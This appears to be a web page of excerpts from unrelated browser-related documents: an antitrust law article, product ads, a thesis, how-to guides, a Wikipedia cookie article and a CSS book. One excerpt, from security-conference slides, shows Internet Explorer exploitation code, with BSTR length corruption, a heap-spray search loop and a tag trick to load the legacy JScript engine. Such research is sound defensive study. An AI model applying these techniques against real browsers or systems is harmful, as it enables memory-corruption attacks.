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Microsoft's Internet Exploration: Predatory Or Competitive?
Cornell Journal of Law and Public Policy Volume 9 Article 3 Issue 1 Fall 1999 Microsoft’s Internet Exploration: Predatory or Competitive Thomas W. Hazlett Follow this and additional works at: http://scholarship.law.cornell.edu/cjlpp Part of the Law Commons Recommended Citation Hazlett, Thomas W. (1999) "Microsoft’s Internet Exploration: Predatory or Competitive," Cornell Journal of Law and Public Policy: Vol. 9: Iss. 1, Article 3. Available at: http://scholarship.law.cornell.edu/cjlpp/vol9/iss1/3 This Article is brought to you for free and open access by the Journals at Scholarship@Cornell Law: A Digital Repository. It has been accepted for inclusion in Cornell Journal of Law and Public Policy by an authorized administrator of Scholarship@Cornell Law: A Digital Repository. For more information, please contact [email protected]. MICROSOFT'S INTERNET EXPLORATION: PREDATORY OR COMPETITIVE? Thomas W. Hazlettt In May 1998 the U.S. Department of Justice ("DOJ") accused Microsoft of violatirig the Sherman Antitrust Act by vigorously compet- ing against Netscape's Navigator software with Microsoft's rival browser, Internet Explorer. The substance of the allegation revolves around defensive actions taken by Microsoft to protect the dominant po- sition enjoyed by Microsoft's Windows operating system. The DOJ's theory is that, were it not for Microsoft's overly aggressive reaction to Netscape, Navigator software would have been more broadly distributed, thus enabling competition to Windows. This competition would have come directly from Java, a computer language developed by Sun Microsystems and embedded in Netscape software, allowing applications to run on any underlying operating system. -
Cache Files Detect and Eliminate Privacy Threats
Award-Winning Privacy Software for OS X Every time you surf the web or use your computer, bits of Recover Disk Space data containing sensitive information are left behind that Over time, the files generated by web browsers can start could compromise your privacy. PrivacyScan provides to take up a large amount of space on your hard drive, protection by scanning for these threats and offers negatively impacting your computer’s performance. multiple removal options to securely erase them from PrivacyScan can locate and removes these space hogs, your system. freeing up valuable disk space and giving your system a speed boost in the process. PrivacyScan can seek and destroy internet files used for tracking your online whereabouts, including browsing history, cache files, cookies, search history, and more. Secure File Shredding Additionally, PrivacyScan can eliminate Flash Cookies, PrivacyScan utilizes advanced secure delete algorithms which are normally hidden away on your system. that meet and exceed US Department of Defense recommendations to ensure complete removal of Privacy Threat: Cookies sensitive data. Cookies can be used to track your usage of websites, determining which pages you visited and the length Intuitive Interface of time you spent on each page. Advertisers can use PrivacyScan’s award-winning design makes it easy to cookies to track you across multiple sites, building up track down privacy threats that exist on your system and a “profile” of who you are based on your web browsing quickly eliminate them. An integrated setup assistant and habits. tip system provide help every step of the way to make file cleaning a breeze. -
Interaction Between Web Browsers and Script Engines
IT 12 058 Examensarbete 45 hp November 2012 Interaction between web browsers and script engines Xiaoyu Zhuang Institutionen för informationsteknologi Department of Information Technology Abstract Interaction between web browser and the script engine Xiaoyu Zhuang Teknisk- naturvetenskaplig fakultet UTH-enheten Web browser plays an important part of internet experience and JavaScript is the most popular programming language as a client side script to build an active and Besöksadress: advance end user experience. The script engine which executes JavaScript needs to Ångströmlaboratoriet Lägerhyddsvägen 1 interact with web browser to get access to its DOM elements and other host objects. Hus 4, Plan 0 Browser from host side needs to initialize the script engine and dispatch script source code to the engine side. Postadress: This thesis studies the interaction between the script engine and its host browser. Box 536 751 21 Uppsala The shell where the engine address to make calls towards outside is called hosting layer. This report mainly discussed what operations could appear in this layer and Telefon: designed testing cases to validate if the browser is robust and reliable regarding 018 – 471 30 03 hosting operations. Telefax: 018 – 471 30 00 Hemsida: http://www.teknat.uu.se/student Handledare: Elena Boris Ämnesgranskare: Justin Pearson Examinator: Lisa Kaati IT 12 058 Tryckt av: Reprocentralen ITC Contents 1. Introduction................................................................................................................................ -
Kemble Z3 Ephemera Collection
http://oac.cdlib.org/findaid/ark:/13030/c818377r No online items Kemble Ephemera Collection Z3 Finding aid prepared by Jaime Henderson California Historical Society 678 Mission Street San Francisco, CA, 94105-4014 (415) 357-1848 [email protected] 2013 Kemble Ephemera Collection Z3 Kemble Z3 1 Title: Kemble Z3 Ephemera Collection Date (inclusive): 1802-2013 Date (bulk): 1900-1970 Collection Identifier: Kemble Z3 Extent: 185 boxes, 19 oversize boxes, 4 oversize folder (137 linear feet) Repository: California Historical Society 678 Mission Street San Francisco, CA 94105 415-357-1848 [email protected] URL: http://www.californiahistoricalsociety.org Location of Materials: Collection is stored onsite. Language of Materials: Collection materials are primarily in English. Abstract: The collection comprises a wide variety of ephemera pertaining to printing practice, culture, and history in the Western Hemisphere. Dating from 1802 to 2013, the collection includes ephemera created by or relating to booksellers, printers, lithographers, stationers, engravers, publishers, type designers, book designers, bookbinders, artists, illustrators, typographers, librarians, newspaper editors, and book collectors; bookselling and bookstores, including new, used, rare and antiquarian books; printing, printing presses, printing history, and printing equipment and supplies; lithography; type and type-founding; bookbinding; newspaper publishing; and graphic design. Types of ephemera include advertisements, announcements, annual reports, brochures, clippings, invitations, trade catalogs, newspapers, programs, promotional materials, prospectuses, broadsides, greeting cards, bookmarks, fliers, business cards, pamphlets, newsletters, price lists, bookplates, periodicals, posters, receipts, obituaries, direct mail advertising, book catalogs, and type specimens. Materials printed by members of Moxon Chappel, a San Francisco-area group of private press printers, are extensive. Access Collection is open for research. -
How to Change Your Browser Preferences So It Uses Acrobat Or Reader PDF Viewer
How to change your browser preferences so it uses Acrobat or Reader PDF viewer. If you are unable to open the PDF version of the Emergency Action Plan, please use the instructions below to configure your settings for Firefox, Google Chrome, Apple Safari, Internet Explorer, and Microsoft Edge. Firefox on Windows 1. Choose Tools > Add-ons. 2. In the Add-ons Manager window, click the Plugins tab, then select Adobe Acrobat or Adobe Reader. 3. Choose an appropriate option in the drop-down list next to the name of the plug-in. 4. Always Activate sets the plug-in to open PDFs in the browser. 5. Ask to Activate prompts you to turn on the plug-in while opening PDFs in the browser. 6. Never Activate turns off the plug-in so it does not open PDFs in the browser. Select the Acrobat or Reader plugin in the Add-ons Manager. Firefox on Mac OS 1. Select Firefox. 2. Choose Preferences > Applications. 3. Select a relevant content type from the Content Type column. 4. Associate the content type with the application to open the PDF. For example, to use the Acrobat plug-in within the browser, choose Use Adobe Acrobat NPAPI Plug-in. Reviewed 2018 How to change your browser preferences so it uses Acrobat or Reader PDF viewer. Chrome 1. Open Chrome and select the three dots near the address bar 2. Click on Settings 3. Expand the Advanced settings menu at the bottom of the page 4. Under the Privacy and security, click on Content Settings 5. Find PDF documents and click on the arrow to expand the menu 6. -
Netscape 6.2.3 Software for Solaris Operating Environment
What’s New in Netscape 6.2 Netscape 6.2 builds on the successful release of Netscape 6.1 and allows you to do more online with power, efficiency and safety. New is this release are: Support for the latest operating systems ¨ BETTER INTEGRATION WITH WINDOWS XP q Netscape 6.2 is now only one click away within the Windows XP Start menu if you choose Netscape as your default browser and mail applications. Also, you can view the number of incoming email messages you have from your Windows XP login screen. ¨ FULL SUPPORT FOR MACINTOSH OS X Other enhancements Netscape 6.2 offers a more seamless experience between Netscape Mail and other applications on the Windows platform. For example, you can now easily send documents from within Microsoft Word, Excel or Power Point without leaving that application. Simply choose File, “Send To” to invoke the Netscape Mail client to send the document. What follows is a more comprehensive list of the enhancements delivered in Netscape 6.1 CONFIDENTIAL UNTIL AUGUST 8, 2001 Netscape 6.1 Highlights PR Contact: Catherine Corre – (650) 937-4046 CONFIDENTIAL UNTIL AUGUST 8, 2001 Netscape Communications Corporation ("Netscape") and its licensors retain all ownership rights to this document (the "Document"). Use of the Document is governed by applicable copyright law. Netscape may revise this Document from time to time without notice. THIS DOCUMENT IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND. IN NO EVENT SHALL NETSCAPE BE LIABLE FOR INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY KIND ARISING FROM ANY ERROR IN THIS DOCUMENT, INCLUDING WITHOUT LIMITATION ANY LOSS OR INTERRUPTION OF BUSINESS, PROFITS, USE OR DATA. -
Attachment to Pih Notice 2000-34
Office of Public and Indian Housing SEMAP (Section 8 Management Assessment Program) Certification Technical Requirements · Computer with Pentium processor or higher · 100 Mb or larger hard drive · 16 Mb or more RAM · VGA Monitor · 28.8KBps or higher modem connected to an outside telephone line or a direct connection to the Internet · Operating system capable of Internet access · Internet Browser: Netscape 4.0 or higher, Internet Explorer 4.0 or higher* *It is possible to use the PIC to submit information by using either Netscape 3.2 or Internet Explorer 3.2. However, several features that enhance usability (for example, certain colors) are not available unless Netscape 4.0 or higher, Internet Explorer 4.0 or higher is used. Setting up Internet Service In order to obtain an Internet Service Provider in your area, you can look in the Yellow Pages of the telephone book under "Computers.” Usually there is a section called "On-Line Access Providers" which will give you a list of companies in your area that can provide Internet access. It may be helpful to call two or three providers to compare prices and services. Only basic Internet service is needed to use the SEMAP system to submit SEMAP certifications. In most cases, the Internet Service Provider will provide Internet browser software and will provide assistance for installing the software, configuring a modem, and accessing the Internet. You should ensure that the provider you select does, in fact, provide the browser software and provides some support. Once the browser software is installed, you will require a connection from your computer to a regular phone line to access the Internet. -
HTTP Cookie - Wikipedia, the Free Encyclopedia 14/05/2014
HTTP cookie - Wikipedia, the free encyclopedia 14/05/2014 Create account Log in Article Talk Read Edit View history Search HTTP cookie From Wikipedia, the free encyclopedia Navigation A cookie, also known as an HTTP cookie, web cookie, or browser HTTP Main page cookie, is a small piece of data sent from a website and stored in a Persistence · Compression · HTTPS · Contents user's web browser while the user is browsing that website. Every time Request methods Featured content the user loads the website, the browser sends the cookie back to the OPTIONS · GET · HEAD · POST · PUT · Current events server to notify the website of the user's previous activity.[1] Cookies DELETE · TRACE · CONNECT · PATCH · Random article Donate to Wikipedia were designed to be a reliable mechanism for websites to remember Header fields Wikimedia Shop stateful information (such as items in a shopping cart) or to record the Cookie · ETag · Location · HTTP referer · DNT user's browsing activity (including clicking particular buttons, logging in, · X-Forwarded-For · Interaction or recording which pages were visited by the user as far back as months Status codes or years ago). 301 Moved Permanently · 302 Found · Help 303 See Other · 403 Forbidden · About Wikipedia Although cookies cannot carry viruses, and cannot install malware on 404 Not Found · [2] Community portal the host computer, tracking cookies and especially third-party v · t · e · Recent changes tracking cookies are commonly used as ways to compile long-term Contact page records of individuals' browsing histories—a potential privacy concern that prompted European[3] and U.S. -
How to Check Your Browser Version on a PC
How to Check Your Browser Version on a PC Google Chrome (PC) 1) Click on the Menu Icon ( ) in the upper right corner of your browser window. 2) Click on Settings 3) Click on the About tab on the left-hand side of the page. 4) If you are not running the most recent version of Chrome available for your Operating System, you will be prompted to update Chrome. For your security, we recommend that you install all Security, App and Operating System updates as they become available. Mozilla Firefox (PC) 1) Click on the Help menu at the top of your browser window. 2) Click on About Firefox at the bottom of the menu. 3) A small window will pop up showing your Firefox version number, and will tell you whether you are on the most recent version, or not. For your security, we recommend that you install all Security, App and Operating System updates as they become available. Internet Explorer (PC) 1) Click on the Gear Icon at the top of your browser window. 2) Click on the About Internet Explorer option. 3) A window will pop up showing you your Internet Explorer version. 4) If you are using Internet Explorer 9 or 10, you will need to make sure that you have TLS 1.2 enabled by: A) Clicking on the Gear Icon again. B) Click on Internet Options. C) Click on the Advanced Tab and scroll down to the option titled “Use TLS 1.2”. (This should be found at the bottome of the list of options.) The box next to this should be checked. -
Copyrighted Material
05_096970 ch01.qxp 4/20/07 11:27 PM Page 3 1 Introducing Cascading Style Sheets Cascading style sheets is a language intended to simplify website design and development. Put simply, CSS handles the look and feel of a web page. With CSS, you can control the color of text, the style of fonts, the spacing between paragraphs, how columns are sized and laid out, what back- ground images or colors are used, as well as a variety of other visual effects. CSS was created in language that is easy to learn and understand, but it provides powerful control over the presentation of a document. Most commonly, CSS is combined with the markup languages HTML or XHTML. These markup languages contain the actual text you see in a web page — the hyperlinks, paragraphs, headings, lists, and tables — and are the glue of a web docu- ment. They contain the web page’s data, as well as the CSS document that contains information about what the web page should look like, and JavaScript, which is another language that pro- vides dynamic and interactive functionality. HTML and XHTML are very similar languages. In fact, for the majority of documents today, they are pretty much identical, although XHTML has some strict requirements about the type of syntax used. I discuss the differences between these two languages in detail in Chapter 2, and I also pro- vide a few simple examples of what each language looks like and how CSS comes together with the language to create a web page. In this chapter, however, I discuss the following: ❑ The W3C, an organization that plans and makes recommendations for how the web should functionCOPYRIGHTED and evolve MATERIAL ❑ How Internet documents work, where they come from, and how the browser displays them ❑ An abridged history of the Internet ❑ Why CSS was a desperately needed solution ❑ The advantages of using CSS 05_096970 ch01.qxp 4/20/07 11:27 PM Page 4 Part I: The Basics The next section takes a look at the independent organization that makes recommendations about how CSS, as well as a variety of other web-specific languages, should be used and implemented. -
Write Once, Pwn Anywhere
Write Once, Pwn Anywhere Yang Yu Twitter: @tombkeeper Agenda • Summon BSTR back • JScript 9 mojo • “Vital Point Strike” • “Interdimensional Execution” Who am I? • From Beijing, China • Director of Xuanwu Security Lab at Tencent – We're hiring • Researcher from 2002, geek from birth – Strong focus on exploiting and detection • Before 2002, I am a… Before 2002 Now Summon BSTR back About BSTR JScript 5.8 and earlier use BSTR to store String object data struct BSTR { LONG length; WCHAR* str; } var str = “AAAAAAAA”; 0:016> dc 120d0020 l 8 120d0020 00000010 00410041 00410041 00410041 ....A.A.A.A.A.A. 120d0030 00410041 00000000 00000000 00000000 A.A............. Corrupt BSTR prefix var str = “AAAAAAAA”; 0:016> dc 120d0020 l 4 120d0020 00000010 00410041 00410041 00410041 ....A.A.A.A.A.A. writeByVul(0x120d0020, 0x7ffffff0); 0:016> dc 120d0020 l 4 120d0020 7ffffff0 00410041 00410041 00410041 ....A.A.A.A.A.A. var outofbounds = str.substr(0x22222200,4); * Peter Vreugdenhil, “Pwn2Own 2010 Windows 7 Internet Explorer 8 exploit” Locate the address of BSTR prefix var strArr = heapSpray("\u0000"); var sprayedAddr = 0x14141414; writeByVul(sprayedAddr); for (i = 0; i < strArr.length; i++) { p = strArr[i].search(/[^\u0000]/); if (p != -1) { modified = i; leverageStr = strArr[modified]; bstrPrefixAddr = sprayedAddr - (p)*2 - 4; break; } } * Fermin J. Serna, “The info leak era on software exploitation” JScript 9 replaced JScript 5.8 since IE 9 JScript 9 does not use BSTR now So exploiters switch to flash vector object But, JScript 5.8 is still there We can summon it back The spell to summon JScript 5.8 back <META http-equiv = "X-UA-Compatible" content = "IE=EmulateIE8"/> <Script Language = "JScript.Encode"> … </Script> or <META http-equiv = "X-UA-Compatible" content = "IE=EmulateIE8"/> <Script Language = "JScript.Compact"> … </Script> * Some features are not supported with JScript.Compact, like eval(). -
Peer Participation and Software
Peer Participation and Software This report was made possible by the grants from the John D. and Cath- erine T. MacArthur Foundation in connection with its grant-making initiative on Digital Media and Learning. For more information on the initiative visit www.macfound.org. The John D. and Catherine T. MacArthur Foundation Reports on Digital Media and Learning Peer Participation and Software: What Mozilla Has to Teach Government by David R. Booth The Future of Learning Institutions in a Digital Age by Cathy N. Davidson and David Theo Goldberg with the assistance of Zoë Marie Jones The Future of Thinking: Learning Institutions in a Digital Age by Cathy N. Davidson and David Theo Goldberg with the assistance of Zoë Marie Jones New Digital Media and Learning as an Emerging Area and “Worked Examples” as One Way Forward by James Paul Gee Living and Learning with New Media: Summary of Findings from the Digital Youth Project by Mizuko Ito, Heather Horst, Matteo Bittanti, danah boyd, Becky Herr-Stephenson, Patricia G. Lange, C. J. Pascoe, and Laura Robinson with Sonja Baumer, Rachel Cody, Dilan Mahendran, Katynka Z. Martínez, Dan Perkel, Christo Sims, and Lisa Tripp Young People, Ethics, and the New Digital Media: A Synthesis from the GoodPlay Project by Carrie James with Katie Davis, Andrea Flores, John M. Francis, Lindsay Pettingill, Margaret Rundle, and Howard Gardner Confronting the Challenges of Participatory Culture: Media Education for the 21st Century by Henry Jenkins (P.I.) with Ravi Purushotma, Margaret Weigel, Katie Clinton, and Alice J. Robison The Civic Potential of Video Games by Joseph Kahne, Ellen Middaugh, and Chris Evans Peer Production and Software What Mozilla Has to Teach Government David R.